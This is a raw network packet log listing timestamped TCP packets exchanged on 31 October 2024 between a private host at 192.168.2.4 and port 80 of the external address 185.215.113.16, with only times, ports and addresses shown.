Oct 31, 2024 23:38:10.391499996 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391508102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391514063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391524076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391526937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391531944 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391552925 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391562939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391572952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391576052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391582012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391597986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391618013 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391645908 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391654968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391664028 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391694069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391769886 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391778946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391787052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391797066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391813040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391815901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391825914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391830921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391849041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391861916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391870975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391872883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391880035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391897917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391908884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391918898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391921997 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391927958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391944885 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391963005 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391995907 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392005920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392014980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392040014 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392049074 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392148018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392158031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392167091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392189026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392199039 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392282963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392293930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392307997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392317057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392326117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392327070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392337084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392337084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392352104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392360926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392364025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392370939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392381907 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392386913 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392407894 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392415047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392445087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392453909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392462969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392471075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392491102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392513037 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392539024 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392546892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392560005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392570972 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392579079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392582893 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392594099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392596960 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392604113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392612934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392612934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392621994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.392637968 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.392661095 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393388987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393399000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393407106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393435955 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393443108 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393448114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393457890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393467903 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393484116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393496037 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393532038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393541098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393549919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393559933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393569946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393574953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393594027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393600941 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393601894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393610954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393620014 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393640041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393660069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393805027 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393815994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393824100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393850088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393871069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393874884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393886089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393894911 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393906116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393908978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393920898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393925905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393930912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393937111 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393939018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.393965006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.393980980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394117117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394125938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394172907 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394196033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394203901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394237995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394316912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394326925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394352913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394356966 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394361973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394372940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394398928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394411087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394475937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394484997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394493103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394516945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394526958 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394531012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394541025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394550085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394563913 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394572020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394589901 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394639969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394649029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394656897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394666910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394675970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394681931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394685984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394705057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394712925 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394766092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394777060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394785881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394810915 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394835949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.394859076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394869089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.394901037 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395021915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395031929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395045042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395067930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395076990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395117044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395127058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395134926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395152092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395158052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395163059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395173073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395181894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395184040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395199060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395201921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395210981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395221949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395245075 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395328999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395339012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395348072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395356894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395365000 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395365953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395389080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395411015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395466089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395508051 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395572901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395581961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395617008 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395641088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395651102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395659924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395684004 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395695925 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395705938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395715952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395724058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.395742893 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.395759106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396035910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396044970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396054029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396063089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396079063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396079063 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396083117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396090031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396090031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396100044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396112919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396119118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396122932 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396132946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396142006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396143913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396156073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396159887 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396172047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396172047 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396183014 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396192074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396193027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396213055 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396234989 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396243095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396251917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396260977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396270990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396282911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396286964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396301031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396323919 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396378994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396387100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396397114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396419048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396426916 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396675110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396684885 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396693945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396703005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396722078 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396744013 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396755934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396764994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396800995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.396979094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.396992922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397001982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397015095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397022963 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397025108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397033930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397036076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397046089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397056103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397073030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397093058 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397131920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397141933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397150993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397161007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397171021 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397176027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397181988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397191048 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397200108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397202015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397209883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397217989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397222996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397229910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397244930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397249937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397254944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397257090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397267103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397278070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397283077 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397288084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397298098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397303104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397309065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397325039 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397336006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397424936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397469997 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397691011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397701979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397711992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397733927 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397756100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397783041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397792101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397802114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397813082 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397823095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397825003 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397845030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397857904 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397926092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397934914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397944927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397954941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397959948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397969007 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397969961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.397979021 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397989035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.397994995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398008108 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398030043 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398055077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398065090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398075104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398085117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398093939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398097992 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398104906 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398113012 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398114920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398124933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398128033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.398152113 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.398170948 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.475440025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475506067 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475516081 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475545883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.475617886 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475627899 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475637913 CET	80	49806	185.215.113.16	192.168.2.4
